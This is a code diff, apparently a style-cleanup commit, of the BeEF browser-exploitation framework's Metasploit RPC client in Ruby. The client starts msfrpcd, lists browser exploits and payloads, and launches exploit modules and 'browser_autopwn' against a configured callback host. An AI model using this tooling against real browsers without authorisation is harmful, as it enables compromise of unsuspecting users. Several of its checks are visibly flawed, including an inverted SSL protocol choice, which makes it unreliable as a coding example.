rescue StandardError => e
|
||||||
|
print_error "Internal error while creating exploit handler (#{e.message})"
|
||||||
|
halt 500
|
||||||
end
|
end
|
||||||
|
|
||||||
# Raised when invalid JSON input is passed to an /api/msf handler.
|
# Raised when invalid JSON input is passed to an /api/msf handler.
|
||||||
class InvalidJsonError < StandardError
|
class InvalidJsonError < StandardError
|
||||||
|
|
||||||
DEFAULT_MESSAGE = 'Invalid JSON input passed to /api/msf handler'
|
DEFAULT_MESSAGE = 'Invalid JSON input passed to /api/msf handler'
|
||||||
|
|
||||||
def initialize(message = nil)
|
def initialize(message = nil)
|
||||||
super(message || DEFAULT_MESSAGE)
|
super(message || DEFAULT_MESSAGE)
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
# Raised when an invalid named parameter is passed to an /api/msf handler.
|
# Raised when an invalid named parameter is passed to an /api/msf handler.
|
||||||
class InvalidParamError < StandardError
|
class InvalidParamError < StandardError
|
||||||
|
|
||||||
DEFAULT_MESSAGE = 'Invalid parameter passed to /api/msf handler'
|
DEFAULT_MESSAGE = 'Invalid parameter passed to /api/msf handler'
|
||||||
|
|
||||||
def initialize(message = nil)
|
def initialize(message = nil)
|
||||||
str = "Invalid \"%s\" parameter passed to /api/msf handler"
|
str = 'Invalid "%s" parameter passed to /api/msf handler'
|
||||||
message = sprintf str, message unless message.nil?
|
message = format str, message unless message.nil?
|
||||||
super(message)
|
super(message)
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -4,260 +4,256 @@
|
|||||||
# See the file 'doc/COPYING' for copying permission
|
# See the file 'doc/COPYING' for copying permission
|
||||||
#
|
#
|
||||||
module BeEF
|
module BeEF
|
||||||
module Extension
|
module Extension
|
||||||
module Metasploit
|
module Metasploit
|
||||||
class RpcClient < ::Msf::RPC::Client
|
class RpcClient < ::Msf::RPC::Client
|
||||||
include Singleton
|
include Singleton
|
||||||
|
|
||||||
def initialize
|
def initialize
|
||||||
@config = BeEF::Core::Configuration.instance.get('beef.extension.metasploit')
|
@config = BeEF::Core::Configuration.instance.get('beef.extension.metasploit')
|
||||||
|
|
||||||
unless @config.key?('host') || @config.key?('uri') || @config.key?('port') ||
|
unless @config.key?('host') || @config.key?('uri') || @config.key?('port') ||
|
||||||
@config.key?('user') || @config.key?('pass')
|
@config.key?('user') || @config.key?('pass')
|
||||||
print_error 'There is not enough information to initalize Metasploit connectivity at this time'
|
print_error 'There is not enough information to initalize Metasploit connectivity at this time'
|
||||||
print_error 'Please check your options in config.yaml to verify that all information is present'
|
print_error 'Please check your options in config.yaml to verify that all information is present'
|
||||||
BeEF::Core::Configuration.instance.set('beef.extension.metasploit.enabled', false)
|
BeEF::Core::Configuration.instance.set('beef.extension.metasploit.enabled', false)
|
||||||
BeEF::Core::Configuration.instance.set('beef.extension.metasploit.loaded', false)
|
BeEF::Core::Configuration.instance.set('beef.extension.metasploit.loaded', false)
|
||||||
return
|
return
|
||||||
end
|
|
||||||
|
|
||||||
@lock = false
|
|
||||||
@lastauth = nil
|
|
||||||
@unit_test = false
|
|
||||||
@msf_path = nil
|
|
||||||
|
|
||||||
opts = {
|
|
||||||
:host => @config['host'] || '127.0.0.1',
|
|
||||||
:port => @config['port'] || 55552,
|
|
||||||
:uri => @config['uri'] || '/api/',
|
|
||||||
:ssl => @config['ssl'],
|
|
||||||
:ssl_version => @config['ssl_version'],
|
|
||||||
:context => {}
|
|
||||||
}
|
|
||||||
|
|
||||||
if opts[:ssl_version].match?(/SSLv3/i)
|
|
||||||
print_warning '[Metasploit] Warning: Connections to Metasploit RPC over SSLv3 are insecure. Use TLSv1 instead.'
|
|
||||||
end
|
|
||||||
|
|
||||||
if @config['auto_msfrpcd']
|
|
||||||
@config['msf_path'].each do |path|
|
|
||||||
if File.exist? "#{path['path']}/msfrpcd"
|
|
||||||
@msf_path = "#{path['path']}/msfrpcd"
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@lock = false
|
||||||
|
@lastauth = nil
|
||||||
|
@unit_test = false
|
||||||
|
@msf_path = nil
|
||||||
|
|
||||||
|
opts = {
|
||||||
|
host: @config['host'] || '127.0.0.1',
|
||||||
|
port: @config['port'] || 55_552,
|
||||||
|
uri: @config['uri'] || '/api/',
|
||||||
|
ssl: @config['ssl'],
|
||||||
|
ssl_version: @config['ssl_version'],
|
||||||
|
context: {}
|
||||||
|
}
|
||||||
|
|
||||||
|
print_warning '[Metasploit] Warning: Connections to Metasploit RPC over SSLv3 are insecure. Use TLSv1 instead.' if opts[:ssl_version].match?(/SSLv3/i)
|
||||||
|
|
||||||
|
if @config['auto_msfrpcd']
|
||||||
|
@config['msf_path'].each do |path|
|
||||||
|
@msf_path = "#{path['path']}/msfrpcd" if File.exist? "#{path['path']}/msfrpcd"
|
||||||
|
end
|
||||||
|
|
||||||
|
if @msf_path.nil?
|
||||||
|
print_error '[Metasploit] Please add a custom path for msfrpcd to the config file.'
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
print_info "[Metasploit] Found msfrpcd: #{@msf_path}"
|
||||||
|
|
||||||
|
return unless launch_msfrpcd(opts)
|
||||||
|
end
|
||||||
|
|
||||||
|
super(opts)
|
||||||
end
|
end
|
||||||
|
|
||||||
if @msf_path.nil?
|
#
|
||||||
print_error '[Metasploit] Please add a custom path for msfrpcd to the config file.'
|
# @note auto start msfrpcd
|
||||||
return
|
#
|
||||||
|
def launch_msfrpcd(opts)
|
||||||
|
if opts[:ssl]
|
||||||
|
argssl = '-S'
|
||||||
|
proto = 'http'
|
||||||
|
else
|
||||||
|
argssl = ''
|
||||||
|
proto = 'https'
|
||||||
|
end
|
||||||
|
|
||||||
|
msf_url = "#{proto}://#{opts[:host]}:#{opts[:port]}#{opts[:uri]}"
|
||||||
|
|
||||||
|
child = IO.popen([
|
||||||
|
@msf_path,
|
||||||
|
'-f',
|
||||||
|
argssl,
|
||||||
|
'-P', @config['pass'],
|
||||||
|
'-U', @config['user'],
|
||||||
|
'-u', opts[:uri],
|
||||||
|
'-a', opts[:host],
|
||||||
|
'-p', opts[:port].to_s
|
||||||
|
], 'r+')
|
||||||
|
|
||||||
|
print_info "[Metasploit] Attempt to start msfrpcd, this may take a while. PID: #{child.pid}"
|
||||||
|
|
||||||
|
# Give daemon time to launch
|
||||||
|
# poll and giveup after timeout
|
||||||
|
retries = @config['auto_msfrpcd_timeout']
|
||||||
|
uri = URI(msf_url)
|
||||||
|
http = Net::HTTP.new(uri.host, uri.port)
|
||||||
|
|
||||||
|
if opts[:ssl]
|
||||||
|
http.use_ssl = true
|
||||||
|
http.ssl_version = opts[:ssl_version]
|
||||||
|
end
|
||||||
|
|
||||||
|
http.verify_mode = OpenSSL::SSL::VERIFY_NONE unless @config['ssl_verify']
|
||||||
|
|
||||||
|
headers = { 'Content-Type' => 'binary/message-pack' }
|
||||||
|
path = uri.path.empty? ? '/' : uri.path
|
||||||
|
|
||||||
|
begin
|
||||||
|
sleep 1
|
||||||
|
code = http.head(path, headers).code.to_i
|
||||||
|
print_debug "[Metasploit] Success - HTTP response: #{code}"
|
||||||
|
rescue StandardError => e
|
||||||
|
retry if (retries -= 1).positive?
|
||||||
|
end
|
||||||
|
|
||||||
|
true
|
||||||
end
|
end
|
||||||
|
|
||||||
print_info "[Metasploit] Found msfrpcd: #{@msf_path}"
|
def get_lock
|
||||||
|
sleep 0.2 while @lock
|
||||||
|
@lock = true
|
||||||
|
end
|
||||||
|
|
||||||
return unless launch_msfrpcd(opts)
|
def release_lock
|
||||||
end
|
@lock = false
|
||||||
|
end
|
||||||
|
|
||||||
super(opts)
|
def call(meth, *args)
|
||||||
end
|
super(meth, *args)
|
||||||
|
rescue StandardError => e
|
||||||
|
print_error "[Metasploit] RPC call to '#{meth}' failed: #{e}"
|
||||||
|
print_error e.backtrace
|
||||||
|
nil
|
||||||
|
end
|
||||||
|
|
||||||
#
|
def unit_test_init
|
||||||
# @note auto start msfrpcd
|
@unit_test = true
|
||||||
#
|
end
|
||||||
def launch_msfrpcd(opts)
|
|
||||||
if opts[:ssl]
|
|
||||||
argssl = '-S'
|
|
||||||
proto = 'http'
|
|
||||||
else
|
|
||||||
argssl = ''
|
|
||||||
proto = 'https'
|
|
||||||
end
|
|
||||||
|
|
||||||
msf_url = "#{proto}://#{opts[:host]}:#{opts[:port]}#{opts[:uri]}"
|
# login to metasploit
|
||||||
|
def login
|
||||||
|
get_lock
|
||||||
|
|
||||||
child = IO.popen([
|
res = super(@config['user'], @config['pass'])
|
||||||
@msf_path,
|
|
||||||
'-f',
|
|
||||||
argssl,
|
|
||||||
'-P' , @config['pass'],
|
|
||||||
'-U' , @config['user'],
|
|
||||||
'-u' , opts[:uri],
|
|
||||||
'-a' , opts[:host],
|
|
||||||
'-p' , opts[:port].to_s
|
|
||||||
], 'r+')
|
|
||||||
|
|
||||||
print_info "[Metasploit] Attempt to start msfrpcd, this may take a while. PID: #{child.pid}"
|
|
||||||
|
|
||||||
# Give daemon time to launch
|
unless res
|
||||||
# poll and giveup after timeout
|
print_error '[Metasploit] Could not authenticate to Metasploit RPC sevrice.'
|
||||||
retries = @config['auto_msfrpcd_timeout']
|
return false
|
||||||
uri = URI(msf_url)
|
end
|
||||||
http = Net::HTTP.new(uri.host, uri.port)
|
|
||||||
|
|
||||||
if opts[:ssl]
|
unless @lastauth
|
||||||
http.use_ssl = true
|
print_info '[Metasploit] Successful connection with Metasploit.' unless @unit_test
|
||||||
http.ssl_version = opts[:ssl_version]
|
print_debug "[Metasploit] Received temporary token: #{token}"
|
||||||
end
|
|
||||||
|
|
||||||
unless @config['ssl_verify']
|
# Generate permanent token
|
||||||
http.verify_mode = OpenSSL::SSL::VERIFY_NONE
|
new_token = token_generate
|
||||||
end
|
if new_token.nil?
|
||||||
|
print_warning '[Metasploit] Could not retrieve permanent Metasploit token. Connection to Metasploit will time out in 5 minutes.'
|
||||||
|
else
|
||||||
|
self.token = new_token
|
||||||
|
print_debug "[Metasploit] Received permanent token: #{token}"
|
||||||
|
end
|
||||||
|
end
|
||||||
|
@lastauth = Time.now
|
||||||
|
|
||||||
headers = { 'Content-Type' => 'binary/message-pack' }
|
true
|
||||||
path = uri.path.empty? ? '/' : uri.path
|
ensure
|
||||||
|
release_lock
|
||||||
|
end
|
||||||
|
|
||||||
begin
|
# generate a permanent auth token
|
||||||
sleep 1
|
def token_generate
|
||||||
code = http.head(path, headers).code.to_i
|
res = call('auth.token_generate')
|
||||||
print_debug "[Metasploit] Success - HTTP response: #{code}"
|
|
||||||
rescue => e
|
|
||||||
retry if (retries -= 1).positive?
|
|
||||||
end
|
|
||||||
|
|
||||||
true
|
return unless res || res['token']
|
||||||
end
|
|
||||||
|
|
||||||
def get_lock
|
res['token']
|
||||||
sleep 0.2 while @lock
|
end
|
||||||
@lock = true
|
|
||||||
end
|
|
||||||
|
|
||||||
def release_lock
|
|
||||||
@lock = false
|
|
||||||
end
|
|
||||||
|
|
||||||
def call(meth, *args)
|
def browser_exploits
|
||||||
super(meth, *args)
|
get_lock
|
||||||
rescue => e
|
res = call('module.exploits')
|
||||||
print_error "[Metasploit] RPC call to '#{meth}' failed: #{e}"
|
|
||||||
print_error e.backtrace
|
|
||||||
return
|
|
||||||
end
|
|
||||||
|
|
||||||
def unit_test_init
|
|
||||||
@unit_test = true
|
|
||||||
end
|
|
||||||
|
|
||||||
# login to metasploit
|
return [] unless res || res['modules']
|
||||||
def login
|
|
||||||
get_lock
|
|
||||||
|
|
||||||
res = super(@config['user'], @config['pass'])
|
res['modules'].select { |m| m.include?('/browser/') }.sort
|
||||||
|
ensure
|
||||||
|
release_lock
|
||||||
|
end
|
||||||
|
|
||||||
unless res
|
def get_exploit_info(name)
|
||||||
print_error '[Metasploit] Could not authenticate to Metasploit RPC sevrice.'
|
get_lock
|
||||||
return false
|
res = call('module.info', 'exploit', name)
|
||||||
end
|
res || {}
|
||||||
|
ensure
|
||||||
|
release_lock
|
||||||
|
end
|
||||||
|
|
||||||
unless @lastauth
|
def get_payloads(name)
|
||||||
print_info '[Metasploit] Successful connection with Metasploit.' unless @unit_test
|
get_lock
|
||||||
print_debug "[Metasploit] Received temporary token: #{token}"
|
res = call('module.compatible_payloads', name)
|
||||||
|
res || {}
|
||||||
|
ensure
|
||||||
|
release_lock
|
||||||
|
end
|
||||||
|
|
||||||
# Generate permanent token
|
def get_options(name)
|
||||||
new_token = token_generate
|
get_lock
|
||||||
if new_token.nil?
|
res = call('module.options', 'exploit', name)
|
||||||
print_warning "[Metasploit] Could not retrieve permanent Metasploit token. Connection to Metasploit will time out in 5 minutes."
|
res || {}
|
||||||
else
|
ensure
|
||||||
self.token = new_token
|
release_lock
|
||||||
print_debug "[Metasploit] Received permanent token: #{token}"
|
end
|
||||||
|
|
||||||
|
def payloads
|
||||||
|
get_lock
|
||||||
|
res = call('module.payloads')
|
||||||
|
return {} unless res || res['modules']
|
||||||
|
|
||||||
|
res['modules']
|
||||||
|
ensure
|
||||||
|
release_lock
|
||||||
|
end
|
||||||
|
|
||||||
|
def payload_options(name)
|
||||||
|
get_lock
|
||||||
|
res = call('module.options', 'payload', name)
|
||||||
|
return {} unless res
|
||||||
|
|
||||||
|
res
|
||||||
|
rescue StandardError => e
|
||||||
|
{}
|
||||||
|
ensure
|
||||||
|
release_lock
|
||||||
|
end
|
||||||
|
|
||||||
|
def launch_exploit(exploit, opts)
|
||||||
|
get_lock
|
||||||
|
res = call('module.execute', 'exploit', exploit, opts)
|
||||||
|
proto = opts['SSL'] ? 'https' : 'http'
|
||||||
|
res['uri'] = "#{proto}://#{@config['callback_host']}:#{opts['SRVPORT']}/#{opts['URIPATH']}"
|
||||||
|
res
|
||||||
|
rescue StandardError => e
|
||||||
|
print_error "Exploit failed for #{exploit} \n"
|
||||||
|
false
|
||||||
|
ensure
|
||||||
|
release_lock
|
||||||
|
end
|
||||||
|
|
||||||
|
def launch_autopwn
|
||||||
|
opts = {
|
||||||
|
'LHOST' => @config['callback_host'],
|
||||||
|
'URIPATH' => @apurl
|
||||||
|
}
|
||||||
|
get_lock
|
||||||
|
call('module.execute', 'auxiliary', 'server/browser_autopwn', opts)
|
||||||
|
rescue StandardError => e
|
||||||
|
print_error 'Failed to launch autopwn'
|
||||||
|
false
|
||||||
|
ensure
|
||||||
|
release_lock
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
@lastauth = Time.now
|
|
||||||
|
|
||||||
true
|
|
||||||
ensure
|
|
||||||
release_lock
|
|
||||||
end
|
|
||||||
|
|
||||||
# generate a permanent auth token
|
|
||||||
def token_generate
|
|
||||||
res = call('auth.token_generate')
|
|
||||||
|
|
||||||
return unless res || res['token']
|
|
||||||
|
|
||||||
res['token']
|
|
||||||
end
|
|
||||||
|
|
||||||
def browser_exploits
|
|
||||||
get_lock
|
|
||||||
res = call('module.exploits')
|
|
||||||
|
|
||||||
return [] unless res || res['modules']
|
|
||||||
|
|
||||||
res['modules'].select{|m| m.include?('/browser/') }.sort
|
|
||||||
ensure
|
|
||||||
release_lock
|
|
||||||
end
|
|
||||||
|
|
||||||
def get_exploit_info(name)
|
|
||||||
get_lock
|
|
||||||
res = call('module.info', 'exploit', name)
|
|
||||||
res || {}
|
|
||||||
ensure
|
|
||||||
release_lock
|
|
||||||
end
|
|
||||||
|
|
||||||
def get_payloads(name)
|
|
||||||
get_lock
|
|
||||||
res = call('module.compatible_payloads', name)
|
|
||||||
res || {}
|
|
||||||
ensure
|
|
||||||
release_lock
|
|
||||||
end
|
|
||||||
|
|
||||||
def get_options(name)
|
|
||||||
get_lock
|
|
||||||
res = call('module.options', 'exploit', name)
|
|
||||||
res || {}
|
|
||||||
ensure
|
|
||||||
release_lock
|
|
||||||
end
|
|
||||||
|
|
||||||
def payloads
|
|
||||||
get_lock
|
|
||||||
res = call('module.payloads')
|
|
||||||
return {} unless res || res['modules']
|
|
||||||
res['modules']
|
|
||||||
ensure
|
|
||||||
release_lock
|
|
||||||
end
|
|
||||||
|
|
||||||
def payload_options(name)
|
|
||||||
get_lock
|
|
||||||
res = call('module.options', 'payload', name)
|
|
||||||
return {} unless res
|
|
||||||
res
|
|
||||||
rescue => e
|
|
||||||
return {}
|
|
||||||
ensure
|
|
||||||
release_lock
|
|
||||||
end
|
|
||||||
|
|
||||||
def launch_exploit(exploit, opts)
|
|
||||||
get_lock
|
|
||||||
res = call('module.execute', 'exploit', exploit, opts)
|
|
||||||
proto = opts['SSL'] ? 'https' : 'http'
|
|
||||||
res['uri'] = "#{proto}://#{@config['callback_host']}:#{opts['SRVPORT']}/#{opts['URIPATH']}"
|
|
||||||
res
|
|
||||||
rescue => e
|
|
||||||
print_error "Exploit failed for #{exploit} \n"
|
|
||||||
return false
|
|
||||||
ensure
|
|
||||||
release_lock
|
|
||||||
end
|
|
||||||
|
|
||||||
def launch_autopwn
|
|
||||||
opts = {
|
|
||||||
'LHOST' => @config['callback_host'],
|
|
||||||
'URIPATH' => @apurl
|
|
||||||
}
|
|
||||||
get_lock
|
|
||||||
call('module.execute', 'auxiliary', 'server/browser_autopwn', opts)
|
|
||||||
rescue => e
|
|
||||||
print_error "Failed to launch autopwn"
|
|
||||||
return false
|
|
||||||
ensure
|
|
||||||
release_lock
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|||||||
Reference in New Issue
Block a user